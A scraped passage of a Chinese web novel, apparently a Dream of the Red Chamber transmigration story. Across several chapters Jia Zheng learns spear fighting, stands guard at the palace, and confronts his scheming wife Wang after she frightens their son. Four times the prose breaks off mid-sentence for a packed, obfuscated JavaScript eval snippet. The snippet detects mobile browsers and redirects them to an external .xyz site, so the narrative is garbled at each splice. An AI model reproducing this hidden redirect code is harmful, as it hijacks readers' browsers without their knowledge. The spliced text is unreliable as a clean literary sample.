贾敏也点头,愁道,“甄家在皇上面前没分寸便罢了,他们家还牵连着三皇子呢,要是真跟太子斗起来,我们家又当如何自处呢。” 贾母冷哼,“怎么就没法自处了,我们只忠于皇上就完了,我们也不奢求那高官厚禄,全家人能平平安安的比什么都强。” 之前她就被儿子和丈夫说的朝堂局势吓过一次,再经甄家这么一吓,那份振兴家族争荣夸耀的心可算涓滴不剩了,为了儿女的未来,什么老亲旧友都可以抛到一边,他们能顾好自家就不错了。 “太太说得是。”贾政在心里给老爷点赞,太太能有这么大的进步全靠他的引导。 “如今没什么是比安稳两个字更要紧的,珠儿这一代想有出息,就看他们有多大本事了。” 贾敏看着跟小猫碰爪爪的贾珠,笑道,“珠儿这么快就学会猫叫了,可见是个极聪明的,太太就等着做状元郎的祖母吧。” 贾珠也不知听懂了没,见大人都看着自己,他又喵了声,两只小猫也跟着喵喵叫,把大家笑得前仰后合。 贾母心花怒放,抱着贾珠叫心肝肉,陪他一起逗小猫玩儿。 贾政继续练箭,又拜托贾敏画几个动物图案,挂在绿桂树上当移动靶子。 用过午膳,贾政刚把儿子哄睡,就有小厮来报说林姑爷和他几个同窗都来了。 贾政让小厮把他们领到水阁上,又命厨房送冰酪凉茶,果盘和冰盆过去,这么热的天大中午跑过来,那几个家伙肯定热坏了。 让奶娘看着贾珠,他到水阁时林如海几人已经把外衣脱了,正围着冰盆吃冰酪呢。 贾政好笑道,“如海,你这是不打算科举了么,自从认识柳节几个,你都逃过几次学了?” 柳节立马跳起来,抗议道,“别说的好像认识我们就要学坏似的,你小子在宫里家里都有地方凉快,不知道我们这几天过得有多惨。” 林如海苦笑,“从前儿起国子监就只开一节课了,这些天东西两堂跟蒸笼似的,每天都能热晕几个,今天平原侯府的蒋子宁昏倒时还撞到了头,孔祭酒都快吓死了。” “这么严重?蒋大他没事吧?”贾政惊了下,能把人热到昏倒,中暑都算好的,热射病可是会死人的。 谢鲲叹道,“人倒是没事,多长时间能缓过来就说不准了,我们送他回家,等人清醒时都近晌午了,留我们用过午膳才过来的。” 吴天佑嘿嘿笑道,“那啥,我们就是想来问问,贾政,贾伯父真能把我们插进出征的队伍里吗?” 贾政惊奇的看着他,“老爷既然开口了,就肯定能做到,柳节几个倒罢了,吴老弟你不是举人吗?怎么会想到要去军中谋出身的?” 吴天佑苦笑,“别提了,我那举人都是走大运考上的,以我的本事,想凭科举入仕至少得二三十年呢,我们吴家根基浅薄,可等不了那么久。” 戚建辉赞同道,“这代不行,那就扎稳根基托举下一代,没有几代人的经营,想在朝廷站稳脚是没可能的。” 贾政也点头道,“戚兄说得对,老爷负责兵部后勤,在出征队伍里安插几个人不是难事,就看朝廷能不能出兵了。” 几人同时垮下脸,没错,朝廷的意向才是重点,他们安排得再周祥,朝廷不愿派兵也没辙。 林如海摇头,“户部那边也在等呢,究竟什么情况,还要看过回部来人再说。朝廷已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057585|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近十年没有大动过兵戈了,能否征得一帮老臣同意,也未可知呢。” 谢鲲冷哼一声,“那群南党对内贪酷盘剥,打压异己,对外却阿谀谄媚,毫无气节,当年能对先帝望风而降,说不定金狗打进来了,他们也是第一个投降的。” 贾政心说兄弟你猜得太对了,在他上辈子的时空,那些人可不是降了么,后来给小鬼子当翻译官的,大概也是这群人。 林如海摆手,“不说这些了,等见过回部的人,上头自有论断,难得这里凉快,我可得歇一歇。” 说完他就倒在矮榻上了,谢鲲他们也各自找张躺椅瘫着,吴天佑最夸张,直接趴在了水阁的外廊上。 贾政傻眼的看着这群公子哥儿,“不是,你们是怎么热成这样的?” 他觉得还好啦,古代没有高层建筑,城里的空气也能流通,只要不是桑拿天,再热也是有限的。 吴天佑哼叽道,“白天热倒罢了,主要晚上和白天的温度差不多,我家连池塘都没有,冰还得紧着老人妇孺用,我都好几天没睡好了。” 谢鲲他们都是侯府出身,居住条件要好一些,“我们家里倒是有水,但水阁也轮不到我们住啊,冰盆放到后半夜就化了,每晚都会被热醒。” 贾政也不知道说什么才好,只能干巴巴安慰道,“挺过三伏就好了,你们坚持住吧。如海,林伯父还好吗?” 林如海可怜巴巴点头,“放心,老爷早就搬到花园住了,夜里还有丫头轮流打扇子,安逸得很,这两天油炸的东西吃了不少,都有点胖了。” 贾政笑道,“那就好,今儿甄家送来一本食谱,虾饺做的好吃极了,还有酥油卷,酥油香滑绵柔,一点腥味都没有,等厨子学会了就给林伯父送去。” 柳节哼哼道,“还有我们呢,有好吃的千万不要忘了我们,我未婚妻也苦夏呢,连鸡米花都吃不下,多亏前儿你送的肉松,她才能多吃几口粥。” 贾政这才想起柳节还没成亲呢,好奇道,“你比我大两岁呢,既有了未婚妻,为何还不成亲?” 谢鲲呵呵笑道,“他媳妇年纪小呗,相姑娘是他三婶的内侄女,这小子早早就惦记上了,相家觉得两人年纪相差太多,一开始并不同意,是这小子求了多年才松口的。” 贾政没想到柳节咋咋呼呼的,原来还是个痴情的人,他笑道,“哥哥啥时候大婚,小弟一定送份大礼。” 柳节笑道,“订在明年五月份,我连我们孩子的名字都想好了,我姓柳,她姓相,还喜欢莲花,以后我们的孩子不论男女,都叫柳湘莲。” 噗! 贾政喷出嘴里的西瓜,咳到抬不起头来。 他并不是惊讶好兄弟是柳少侠的爹,而是柳湘莲出场时柳节和他媳妇都死了,柳湘莲没得到理国公府半分照拂,世家少爷轮落成了串戏的帮闲,最后还因为尤三姐之死出家了。 红楼原著的孤儿下场一个比一个惨,亲爹还全成了他的好兄弟,这是某种诡异的收集癖在作祟吗? 47.第四十七章 约定 林如海几人被贾政吓到了,柳节跳过来给他拍背,莫名道,“我就是把孩子名字起的早点而已,你不至于反应这么大吧?” 贾政把呛进气管里的西瓜汁咳出来,才道,“不是名字起得早,而是起得太巧了,我在江南认识个和尚,他俗家名就叫柳湘莲,因为父母双亡,未婚妻早逝才出的家,你快给孩子换个名字吧,太不吉利了。” 柳节打了个激灵,“还有这么巧的事?那是得把名字改了。” 林如海笑道,“莲花的别称那么多,你们两人的姓氏又雅致,想要好名字好不容易么,叫柳芙湘就挺好听的。” 吴天佑也跟着出主意,“柳蓉湘也不错啊,你们不能只一个孩子吧,多准备几个么。” 贾政也笑道,“柳湘菡和柳湘萏也好听,男孩子还是别用太娇柔的名字了。” 柳节嘿嘿傻笑,“都是好名字,正好两男两女,儿子像我,女儿像娘,我再混个五六品的小官,城里有屋,城外有地,一家六口的小日子美得紧呢。” 贾政眼泪差点掉下来,柳节这么好的人,怎么就死了呢。 他揉着眼睛,重重点头,“肯定会有这么一天的,等七十岁致仕了,我们就带着重孙重孙女一起游历天下去。” 林如海抚掌笑道,“好主意啊。” 谢鲲也笑着伸出手,“就这么说定了。” 贾政几人都把手搭上去,异口同声道,“说定了。” 晚上贾代善贾赦下衙回家,贾政和父兄说了跟朋友们的约定,贾赦先叫道,“还有我还有我,我只去过扬州和金陵,这辈子怎么也要见识一下何为大漠孤烟才不算亏。” 贾代善好笑道,“你们有正经差事还不到一个月,这就开始畅想致仕以后的事了,你老爷我离致仕还远着呢。” 贾敏哼道,“你们这些臭男人只想着带儿孙出去玩儿,却把我们女眷丢在家里,怎么着,嫌弃我们那时候人老珠黄,入不得你们眼了不成,回头就找林海算账去。” 贾母冷笑,“他们不把我们放在眼里,那我们就更要保重自己了,娘儿们想出去玩都不用等到七老八十,明儿就找个凉快地方消暑去,让他们在城里熬着去吧。” 父子三个赶忙告饶,贾珠也跟着凑热闹,喵喵两声,伸出小手要祖父抱。 贾代善眼珠子差点蹦出来,贾赦也惊道,“珠儿这是怎么了?” 全屋子人都笑倒了,贾敏捂着肚子直哎哟,贾政便说了今早抱猫崽,给珠儿找玩伴的事。 贾代善抱着大孙子嘴角直抽,“先跟小猫和顺风玩儿吧,狗崽等他能说话了再养。” 珠儿学猫叫他还算能接受,要是看到人就汪汪叫,简直不敢想象。 次日一早,贾政去宁国府请来外院管事焦大,和护院首领老杜共同指导他六合枪法。 六合枪法讲究内三合和外三合,内三合为‘精气神’,外三合为‘腰手眼’,既适用于步战,也能在马上杀敌,在军中极为盛行。 此次随皇帝去猎场,羽林卫都会骑马配枪,他总不能连花架子都不会吧。 焦大曾随大太老爷上过站场,一手枪法颇有几分真传,老杜也跟随老爷纵横江南十几年,枪法不说出神入化,指导他足够用了。 听说贾政要学六合枪法,焦大兴奋得一蹦三尺高,哈哈笑道,“苍天有眼啊,太爷的武功终于有后人传承了。小子,你想学老奴绝不藏私,但我们也要先说清楚,既然教了,就没有半途而废的道理。” 贾政向二人拱手,郑重道,“习武自然要持之以恒,但羽林卫轮职时间并不固定,还请二位老师通容一二。” 两人也拱手还礼,“自然是要以公事为重,二爷有空就去叫我们,我们随叫随到。” 接着他们就用一上午时间,先帮贾政熟悉枪法套路。 军中盛行的六合枪法是十八路,适合在马上战斗,刚猛迅捷,攻守只在瞬息之间。 两人也会适用于步战的六合三十六路,招式简洁明快,变化更加丰富。 练习一上午,午膳过后贾政睡了一觉,赶在下午三点之前来到侍卫营参加午训。 这次十六大队排在了早一班,当职时间从晚上十一点到第二天早五点,午训过后还要在营里待八个小时才轮到他们当职,唯一比午二班强的是下职后可以回家睡觉。 贾政进了营,发现大院子里只有几个人,连马棚都安安静静的,与平日的喧嚣大相径庭。 那几人见他来了,立即迎上来,小声道,“皇上正带妃嫔们在太液池游幸,今日的午训取消了,回你们队的院子里待着吧。” 贾政差点气笑了,取消午训倒是派人递个话啊,皇上带大老婆小老婆在湖里凉快,不想女眷被外人看到,就把手下全关在一个小院子里,还不得热疯了。 来到十六大队的小院,大部分队员已经到了,都脱了飞鱼箭袖,仅穿着中衣有一搭没一搭的聊天射箭。 看到贾政来了,大家都有气无力的跟他打招呼,蔫哒哒的好不可怜见的。 贾政差点被院子里的热气冲个跟头,也顾不得可怜别人了,飞快跑到屋里脱了外衣和朝靴,趿拉着便鞋出来,坐在廊下背阴的地方,只有这里能凉快些。 看到冯队长坐在不远处热得直喘,他问道,“队长,能带硝石进来么?” 听到的人都苦着脸冲他摇头,硝石制冰古已有之,他们自然是知道的,问题是硝石无法带入皇宫啊。 副队长廖望叹道,“连换洗的衣服都是一次两三件才能带进来,硝石你就别想了。” 右分队长洪亮苦笑道,“六部堂官每天也才有两盆冰,我们就只能挺着了,唉,我记得往年没这么热啊,今年这是怎么了?” 那谁知道呢,大家一起叹气,直挺到太阳落山,晚风才带来些许凉意。 冯队长招呼大家先去食堂吃晚膳,再泡个澡,躺在床上眯一会儿就到当职时间了。 这次不用进内朝再打听皇帝动向了,他老人家就住在太液池的琼华岛上,岛上的广寒殿专为夏日避暑所建,舒适又凉快,不等他们换防皇上就歇下了。 今天十六大队是守职,站在广寒殿的后殿外面,有湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063500|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风吹拂,也挺凉快的。 江离偷偷打了个哈欠,小声嘟囔,“好舒服啊,能睡一觉就好了。” 贾政也压低声音,“下差时太阳还没升起来,把窗户打开让湖风吹进屋里,温度就降下来了。” 江离叹口气,“但愿吧。” 平静度过一夜,换过班后回到营房,院里果然凉快得很,也没人张罗要回家了,把所有窗户门都打开,在晨风中很快就睡着了。 贾政是被热气和手上的瘙痒弄醒的,抬手发现上面有三个红色大包,他吓得睡意全无,拿起床边的铜镜照脸,左脸果然也有一个包,比青春豆还要大一圈。 贾政哭笑不得,怎么忘记窗门大开会进蚊虫了,家里有熏香时时点着,他都快忘记蚊子这个物种了。 宫里可没有这种待遇,为了杜绝伤害皇上的一切可能,只有东西六宫可以使用内务府提供的香料,御前侍卫连香囊都不能佩戴。 走出房门,睡醒的队友都跟他差不多,脸上手上全是蚊子包,还有人叮在了眼皮上,那样子别提多搞笑了。 廖副队从外面走进来,看到队员的倒霉样子,咯咯笑个不住,“回家涂药去吧,幸好今儿是巡职,否则这副模样站在皇上跟前,还不得被御史参一本啊。” 洪亮快哭了,“都过午时了,还回啥家啊,来回不够折腾的。” 廖副队笑道,“我让你们回家,自然有我的道理,这些天皇上和众妃嫔都要住在琼华岛,晨训和午训全部取消,在当职时间到岗就行了。” “真的?”这可是大喜事,夜里当职白天回家,就不用在宫里苦熬着了。 得到肯定答案,大家争先恐后往外跑,宁愿顶着大日头回家,也不愿留在蒸笼似的营房一秒。 贾政到家都快未时了,他一路忍着痒意不去挠,见到贾母时脸上和手上的蚊子包已经不明显了,至少盛怒中的贾母没看出来。 “太太这是怎么了?”贾政思索一圈,也想不出家里有什么事能把太太气成这样。 贾母不想说话,只摆手道,“去看看珠儿吧,被他那丧良心的娘吓到了,这会子正发热呢。” 啥?!贾政吓了一跳,二话不说就往后东厢跑,这里是太太给贾珠在荣禧堂收拾的屋子。 他到时太医刚诊脉出来,贾政直接问道,“太医别掉书袋,只说哥儿是为何发热的,可要紧不要?” 贾政沉下脸时自带审问犯人的压迫感,再有飞鱼箭袖的气势加成,老太医不敢多话,“贵公子是惊吓过度以致发热,能大哭出来就不要紧了。” 贾政松了口气,命人好生款待太医,他走进里间,见儿子烧得眼神迷离,小脸红通通的,恨不得去东跨院生撕了王氏。 他抱起贾珠,轻声逗弄,“哎呀,怎么办呢,我们珠儿生病了,要把两只咪咪和顺风,还有大鹦鹉都送给别人,爹爹也要搬去别处住,见不到珠儿了。” 贾珠连惊带吓,一股邪火憋在心里,烧得他有气无力,听说喜欢的小伙伴要被送人,最爱的爹爹也见不到了,他委屈的扁起小嘴,哇一声哭了出来。 48.第四十八章 计划 太医从外屋跑进来,连声夸贾政做得好,只要能哭出来,小少爷的病就好大半了。 他接过贾珠放到床上,给他推拿活血,贾珠被人从爹爹怀里抱开,更委屈了,嗷嗷哭的停不下来。 贾政心疼又着急,满头大汗两腿发软,坐在丫头搬来的椅子上拉着贾珠小手,让他不至太害怕。 贾珠哭出一身汗,渐渐睡了过去,太医才笑道,“没事了,把心中郁气疏散开,再开一副药膳方子让乳母吃了,两三日便可痊愈,只记得别再让哥儿惊到了。” 贾政长出口气,扶着丫头起身谢过太医,又命人伺候太医写方子去,他才看向两个奶娘,沉声道,“哥儿是怎么弄成这样的?” 两个奶娘对视一眼,苦笑道,“我们每天都抱哥儿去东跨院给二奶奶请安,往常二奶奶也就看几眼,问几句饮食起居便罢了,今儿也不知怎么的,非要抱哥儿,我们,我们……” 另一个奶娘接着道,“娘要抱儿,我们哪能阻止,哪知哥儿不愿意,二奶奶却死命抱着不松手,还是李平家的帮我们拉开她,才把哥儿抢回来的。” 贾政都不知说什么好了,以前他只当王氏年轻,不会养孩子,才把贾珠养得瘦瘦小小的。 自从他把贾珠抱到身边,王氏对儿子越发冷淡,他才看出不对劲来。 正常母亲哪有跟亲儿子呕气的,想缓和关系也得慢慢来,哪有强行抱孩子的,就不担心吓出病来么。 贾珠身体素质明明不差的,在原著中却不到二十岁就病死了,连死因都没交待,除了李纨也没人怀念他,好好的孩子却落得死因不明,王氏和原身绝对脱不了干系。 他起身往东跨院去,这次一定要跟王氏把话说开了,看她到底在打什么主意,若是不肯说明白,以后就彻底隔开他们母子,珠儿年幼娇弱,不能再让他接触危险人物了。 来到东跨院,王氏正在花厅里坐着,见贾政走进来,她冷笑一声,“二爷如今成了大忙人,怎么有空往我这儿来啊。” 贾政打量王氏,过去她温顺沉默,眉目柔和,是个美丽又温婉的大家闺秀。 才几天不见,王氏就变了个样子,神情阴郁,眼睛也不再无辜的睁圆,眼皮耷拉下来变成了三角眼,与王子腾至少有五成相似,该说不愧是亲兄妹么。 “王子清,贾珠是你的亲生儿子没错吧,他都被吓哭了,你为何还不放手?”贾政压下心中的厌恶,一定要问清楚王氏在想什么,她做的这些事又是为了什么。 王氏满不在乎的扯了下嘴角,“吓着了又如何,小孩子不都这么教养大的,他不懂得尊重亲近我这个母亲,就应该让他知道厉害。” 贾政没想到会听到这样的回答,他深吸口气压下怒火,冷声道,“你就不怕珠儿吓出个好歹来么。” 王氏冷笑,“谁家还没几个养不大的孩子了,我再生便是。” 贾政直犯恶心,嗤笑道,“再生,跟谁生?我话就撂在这儿,王子清,你只会有珠儿这一个孩子,我是绝不会再跟你养育子嗣的。” 王氏立时大怒,“你敢,贾政,别以为你进了御前就能得到家里的爵位了,朝廷律法早有规定,爵位只有嫡长子才能继承,就算长房死绝了,朝廷也会收回爵位,而不是便宜你这个次子,两个老的一死,你就会被赶出荣国府,家产祖业统统没你的份。” 贾政没想到会从王氏口中听到如此清醒的话,既然她明知爵位不可能落到宝玉身上,原著中为何还要奉承老太太,霸占荣禧堂,就不怕贾赦以后报复他们吗? 他垂下眼,“你明知道我爵位无望,为何还要嫁给我?” 王氏撇嘴,要不是贾家老太太一定要与缮国公府结亲,她才不会嫁给贾政呢,嫁给贾赦顺理成章的继承爵位和荣国府的一切多好。 她哼了声,“没有爵位也不打紧,荣国府的权势和产业也并非不能为我们所用。贾政,你要知道,我们夫妻才是一家人,你那么疼爱珠儿,难道就忍心看他被赶出荣国府,从此沦落成低品小官和小地主吗?” 贾政有点明白她想干什么了,沉默片刻才问道,“你打算怎么做?” 王氏得意一笑,就知道这家伙也是不甘心的,她压低声音道,“你尽快跟我二哥搞好关系,再请老爷提携他,只要扶持我二哥站上高位,等老爷去了,太太就只能倚仗我们二房了,再借着太太的手压服大房把持荣国府,我们就能暗中腾挪,想办法把府上的产业都归到我们二房所有了。” 贾政以全新的眼光打量王氏,原来过去是小瞧她了,太太的宅斗手段在她这里根本不够看。 原著的剧情人家早就计划好了,夫妻两蛇鼠一窝,不仅掏空了荣国府,还算计亲侄女拿嫁妆填窟窿,等老太太一去,二房就能金蝉脱壳了。 贾政轻笑,“计划做得不错,却有一个致命的漏洞,你怎么能肯定老爷一定会走在太太前头,万一太太先走,老爷过世后立即分家,你的计划不就要落空了么。” 王氏得意的表情僵了一瞬,在贾政冰冷目光的逼视下,脸色瞬间变得惨白。 贾政心中一哂,收回刚才的评价,王氏就是个蠢货,做出这个计划的肯定是王子腾,先请老爷提携自己,再回头害死他谋算荣国府产业,只有那家伙才能做出这种事。 还有林如海,王子腾升了九省统制没两年他就死在任上了,很难说里面没有他的手笔,所以王子腾才会被毒死在回京路上,应该是七皇子调查出好友死因,直接出手除掉仇人。 贾政站起身,眼前一黑,晃了两下才站稳。 挥开要扶他的周氏,走出花厅对李平家的吩咐道,“封闭东跨院,以后禁止东跨院任何人进出,所需之物放在门口即可,你要是敢徇私,我就连松茗一并打发了。” 李平家的和松烟松茗在窗外听了全程,吓得颜色都变了,指天划地的保证一定守口如瓶,看守好东跨院。 贾政没心思听他们说什么,他心中怒火蒸腾,眼前一阵阵发花,扶着松烟往荣禧堂走,刚进后门就一头栽了下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068136|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 松茗抱住贾政,发出尖锐爆鸣,马上要出府的老太医又被请了回来。 听说贾家二爷是被二奶奶气晕的,他在心里咋舌,难怪老话说善妇旺三代,恶妻毁全家,贾二爷父子可不都栽在恶妻手上了。 贾母又气又心疼,把松烟叫到跟前问他王氏做了什么,政儿刚才还好好的,怎么从东跨院出来就晕了,那王氏竟是个索命的恶鬼不成? 松烟不敢隐瞒,又不好避开其他人跟太太回话,只得苦笑道,“二奶奶说的话不堪入耳,二爷命封了东跨院,太太还是叫李平家的来说吧。” 贾母秒懂,点头道,“你去守着二爷吧,张嬷嬷你也跟去,太医写完方子你亲自看人配药去。” 两人领命退了出去,贾母想到王氏就恨得不行,儿孙的情况更让人担忧,她心焦得坐不住,又命小丫头去守着,太医诊过脉后立即来回她。 不多时,小丫头就回来了,“太医说二爷没用早膳,加上气着了,才晕倒的,不用吃药,只注意别再动气就行。” 贾母松了口气,李平家的也到了,屏退众人,听她一五一十复述过王氏的话,贾母也傻眼了,喃喃道,“我们家,究竟娶进来个什么东西啊。” 李平家的扶住贾母,轻声道,“太太不必害怕,二爷的人品太太还信不过么,如今王家还留在我们府里的,只有东跨院那几个人了,把那院子一封,她们还能翻了天去不成。” 贾母点头,“李平家的,你是个好的,听你二爷吩咐看好那院子,以后少不了你们母子的好处。” 李平家的福身应下,又有人在外头报说二爷醒了,贾母赶忙去看他。 贾政从昨晚到现在只喝了几口水,低血糖加气得不轻,才会晕倒的。 太医诊过脉后推拿几下他就醒了,正端着碗喝玫瑰露,贾母就进来了。 见她走得额头全是汗,贾政赶忙让人搬椅打扇子,“我是忘记吃早膳了,才会晕一下,太太别着急,大热天的可别急出病来。” 贾母心疼的眼泪差点掉下来,“我儿受苦了,都是爹娘害了你。” 贾政笑着安抚,“这与老爷太太有什么相干,人心隔肚皮,不深入了解谁能看出王氏是那样的人,索性我们提防得早,没让她害了老爷,否则我也不要活了。” 贾母啐了口,“凭什么不活了,难道我儿还要给王氏那毒妇陪葬不成,等老爷回来就一总收拾他们,王子腾和王家,全都留不得了。” 贾政轻笑,对自家老爷的办事能力信心十足,他能扶持王子腾当上京营节度使,同样也能搞掉王家,让他们再也蹦哒不起来。 之前他还羡慕别的穿越者有金手指,如今再看,能征善战又疼孩子的老爷才是最保靠的金手指呀。 至于王氏,他叹道,“就是可怜了珠儿,摊上那样的母亲和外家,以后少不了被人嘲笑。” 贾母哼道,“谁敢嘲笑我们荣国府的长孙,我儿放心,等珠儿长到能出门,王家早就让人忘干净了。” 49.第四十九章 重罚 贾政用了午膳,又去看贾珠,小家伙听到声音就醒了,眨巴大眼睛看着爹爹,扁起小嘴,泪花在眼里打转,委屈巴巴的。 贾政这个心疼哦,抱起他软软的小身体,哄道,“珠儿乖,爹爹陪你,还有两只咪咪,我们给它们起个名字好不好,狸花的叫松墨,白色的叫松白,怎么样?” 贾珠拱在爹爹怀里,咿咿呀呀说婴语,贾政哄了又哄,终于把小宝贝又哄睡着了。 贾政亲亲儿子的小胖脸,小孩儿忘性大,再醒过来八成就忘干净了,以后只当珠儿没有王氏那个母亲,可不敢再让孩子接近她了,万一教坏了他哭都没处哭去。 命奶娘看着珠儿,贾政又让人去请焦大和老杜,到后花园教场继续练习六合枪法。 两种枪法的套路他都记住了,开始刷熟练度,因贾政才晕倒过,老杜拒绝了上马练习的提议,只陪他对练步战用的三十六路枪法。 傍晚时贾代善回来,见贾政和老杜你来我往练得热闹,他也来了兴致,提枪与贾政战到一处。 贾政才学两天,哪里是战场老油条的对手,被杀的左支右绌片甲不留,老杜和焦大还在一旁不住为老爷叫好,气得他丢掉枪大叫投降。 贾代善哈哈大笑,“你小子花架子耍得挺漂亮,动真格的就露怯了,还差得远呢。” 贾政好想翻白眼,明知道他才练习两天,打赢了有必要开心成这样吗? 贾代善又命人把贾赦叫过来,大少爷更不济事,被打得抱头鼠窜嗷嗷直叫。 把两个儿子修理一顿,贾代善心旷神怡,晚膳比平时多刨了半碗饭。 贾母带着石氏贾敏坐在另一桌,看着兴高采烈的老爷和垂头丧气的两个小可怜,三人紧紧绷着表情,生怕稍一放松就要爆笑出来。 在家待到亥时,贾政才往宫里来,刚进侍卫营就发现早来的人都盯着自己看,眼里的惊讶藏都藏不住。 贾政莫名其妙,又不好随便找个不熟悉的人询问,进了十六院,队友们也是同样的反应,全都愣了下才问道,“你怎么来了?” 贾政疑惑道,“我来上差啊,不然呢?” “不是。”左二队的队长许家成轻咳了声,委婉道,“太医院的人说你病倒了,我们就以为你今天会请假的。” 贾政这个气,医生不是应该为病人隐瞒病情么,那老头有没有医德啊。 他无奈道,“不用这么小心翼翼,我家那点子烂事满京都还有不知道的么,我是因为忘记吃饭,暑热加上气着了才晕一下,休息半天就没事了。” 冯队长从院外走进来,拍着贾政肩膀宽慰道,“谁家还没点子糟心事了,想开点吧。” 又对众人道,“忠敬郡王正在广寒殿外罚跪呢,当职时小心些,尽量避开那个地方。” 贾政倒抽口气,皇上鲜少会在外人面前落皇子面子,司徒衡这是犯下多大的事,才让皇上不顾脸面的让他在大庭广众下罚跪,他还好吗? 队友们也很惊讶,又无处打听琼华岛上发生的事,直到侍卫处长官蒋大人亲自前来,把马上要当职的五个大队召集起来,他们才知道发生了什么。 通政司因甄应嘉要去江南赴任,长官通政使之位一直虚悬着,前几天有三个低品官员持着忠敬郡王府的印信去通政司上任,因上头没有主事之人,下头又不敢得罪贵为皇子的忠敬郡王,便糊里糊涂同意他们入职了。 人是四天前上任的,事儿是今天中午闹出来的,皇上昨天刚任命了通政使,今天就把走非正规流程上任的三个人揪了出来。 皇上雷霆大怒,把忠敬郡王叫到琼华岛大骂,哪知忠敬郡王也是一脸懵,根本不知道发生了什么。 皇上便命大理寺联合通政司和郡王府调查此事,查到临近傍晚才发现问题出在了郡王妃身上,是她伙同新上任的郡王府长史官,窃取郡王印信做下的。 这就很尴尬了,王妃是皇上给忠敬郡王娶的,郡王府长史也是他亲自任命的,这两人联起手来,把忠敬郡王坑惨了。 但想让皇上认错是没可能的,他老人家一口咬定犯错的王妃和长史官都是忠敬郡王的人,是他驭下不严才生出此事,罚他在广寒殿前跪两个时辰。 贾政心里直抽抽,跪在石头地上四个小时,膝盖还不得跪废了,皇帝老儿忒不讲道理了,明明是别人犯的错,司徒衡却成了受罪的那个人。 同时他也把悬着的心放回了肚子里,皇上明着罚过了,就代表任何人都不能再追究司徒衡的罪过,他罚的虽狠,也为儿子免去了来自外界的羞辱。 皇上连亲儿子都重重责罚,更不会放过擅自任命官员的人了,能摆脱掉糟心的媳妇,司徒衡也算因祸得福了。 队友们也猛搓牙花子,这就是娶妻不慎的下场,忠敬亲王要不是皇子,卖官鬻爵的下场不是砍头就是流放。 再看同样家有恶妻的贾政,看他再不顺眼的人也不免生出几分同情。 大家公子也不是诸事皆顺的,普通人家还可以休妻和离,荣国公府要是敢休弃养育了长子的嫡妻,弹劾的折子得把御书房淹了。 贾政窘着脸接受众人的同情,心里却很平静,原本他也没打算跟王氏像正常夫妻那样过日子,得知她还怀着祸害自家的鬼胎,就能更加理直气壮的无视她了。 蒋大人看到贾政快皱成包子的小脸,忍着笑道,“忠敬郡王要罚跪到子时过半,太医院那边已经准备好了,到时候就去接人,你们守在身侧,不要阻拦,更不能放松警惕。咳,那边接到消息时某位老大人无意间说漏了嘴,贾政你不要介意。” 贾政能说啥,只能摇头表示不介意,贡献一则笑料而已,京里权贵遍地,高门大户闹出的笑话还少么,也没见谁家怎么样了。 蒋大人训过话,他们便赶往琼华岛轮职,今天十六大队是巡职,被安排在后殿与堤坝之间的区域,完全看不到前殿司徒衡罚跪的地方。 左一小队在堤坝上来回巡视,防止有人涉水接近琼华岛,包武跟在贾政身后,小声嘟囔,“贾政你离坝边远点,小心掉到水里去。啧,我们轮职的时间也太不凑巧了,昨儿下午那场面肯定很精彩,一点热闹也没看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076078|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 贾政好笑道,“看到了又能如何,皇家的事你还敢拿出去说嘴吗?” 包武唉了声,“你不懂,即便不能说,亲眼看一看也好啊。” 贾政算是服了这家伙了,连皇家的瓜他都敢吃,放在上辈子,这人还不得长在网上啊。 他无奈道,“这是概率问题,说不定下次就轮到我们赶上热闹瞧了。” 话音未落,远处就传来收缩防线的哨声,队友们向贾政竖起大拇指,说得太准了,热闹这就来了啊。 贾政也不知说什么好了,拉着包武往后殿跑去,全队集结完毕才被告知皇上要回乾清宫。 担任巡职的两个大队立即列队出发,离开之前刚好看到司徒衡被太医扶到后殿。 他进入后殿就来回扫视羽林卫,看到贾政在盯着自己,嘴角不由勾起,眼中也带上了笑意。 